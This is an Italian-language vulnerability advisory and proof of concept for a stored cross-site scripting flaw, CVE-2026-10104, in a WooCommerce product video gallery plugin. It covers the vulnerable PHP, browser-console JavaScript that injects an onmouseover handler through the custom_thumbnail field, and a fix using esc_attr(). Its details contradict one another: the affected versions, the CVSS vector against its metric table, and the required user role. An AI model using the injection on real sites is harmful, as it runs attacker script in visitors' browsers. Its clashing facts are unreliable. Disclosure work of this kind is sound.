
Product Video Gallery per WooCommerce <= 1.5.1.8 - Cross-Site Scripting Memorizzato Autenticato Proof of Concept
| Dettaglio | Valore |
|---|---|
| ID CVE | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Fornitore | TechnoSoft Webs (NikHiL Gadhiya) |
| Tipo | Cross-Site Scripting Memorizzato (XSS) |
| CWE | CWE-79 — Neutralizzazione Impropria dell'Input Durante la Generazione di Pagine Web |
| CVSS 3.1 | 4.4 (Medio) |
| Versioni Affette | ≤ 1.5.1.6 |
| Versione Corretta | 1.5.1.9 |
| Richiede Autenticazione | Sì — Contributor+ (qualsiasi ruolo che può modificare i prodotti) |
| Scoperto da | Ravindu Lakmina Munaweera |
Il plugin Product Video Gallery for WooCommerce per WordPress (versioni fino alla 1.5.1.6 inclusa) è vulnerabile a Cross-Site Scripting Memorizzato (XSS) tramite il parametro meta del prodotto custom_thumbnail.
Il metodo save_wc_video_url_field() del plugin sanitizza il parametro POST custom_thumbnail[] utilizzando sanitize_text_field(), che rimuove i tag HTML ma non rimuove i caratteri di doppio apice ("). Sul frontend, il valore memorizzato viene inserito direttamente negli attributi di un tag `` in nickx_get_video_thumbanil_html() senza escaping esc_attr(). Ciò consente a un attaccante autenticato di iniettare attributi arbitrari di gestori di eventi HTML (ad es. onmouseover, onerror) che eseguono JavaScript nel browser di qualsiasi visitatore — inclusi gli utenti non autenticati — che visualizza la pagina del prodotto interessata.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
File: public/class-rendering.php
Method: nickx_get_video_thumbanil_html()
// Line 365 — value inserted without esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Line 379 — rendered inside tag on the public frontend
echo '';
File: admin/class-video-field.php
Method: save_wc_video_url_field()
// Line 309-310 — sanitize_text_field() strips tags but NOT double quotes
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Accedi come Shop Manager (attaccante).
Vai a Prodotti → Modifica qualsiasi prodotto con un URL video impostato nel campo "Product Video Url".
Apri gli Strumenti di Sviluppo del browser (F12) → scheda Console.
Incolla ed esegui il seguente JavaScript:
const form = document.getElementById('post');
// Set thumbnail ID to a non-empty value (required by render condition)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Inject XSS payload via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Fai clic su "Aggiorna" per salvare il prodotto.
Apri la pagina del prodotto sul frontend in una finestra di navigazione in incognito/privata (non autenticata).
Passa il mouse sopra la miniatura del video nella galleria del prodotto.
✅ L'avviso JavaScript viene eseguito, confermando lo XSS Memorizzato.
Il " iniettato chiude l'attributo custom_thumbnail, e onmouseover diventa un nuovo attributo eseguibile sull'elemento ``.
Applica esc_attr() al valore della miniatura personalizzata prima di inserirlo nell'attributo HTML:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
La stessa correzione dovrebbe essere applicata a tutte le istanze in nickx_get_video_thumbanil_html() dove $custom_thumbnail viene costruito (sia nei percorsi di codice array che non array).
| Data | Evento |
|---|---|
| 2026-03-20 | Vulnerabilità scoperta |
| 2026-03-20 | Segnalata a Wordfence (CNA) |
| 2026-05-29 | CVE ID assigned: CVE-2026-10104 |
| 2026-07-01 | Divulgazione pubblica |
Questa segnalazione è rilasciata sotto CC BY 4.0.
| Metrica | Valore |
|---|
| Vettore d'Attacco | Rete |
| Complessità dell'Attacco | Bassa |
| Privilegi Richiesti | Bassa |
| Interazione dell'Utente | Nessuna |
| Ambito | Modificato |
| Impatto sulla Riservatezza | Basso |
| Impatto sull'Integrità | Basso |
| Impatto sulla Disponibilità | Nessuno |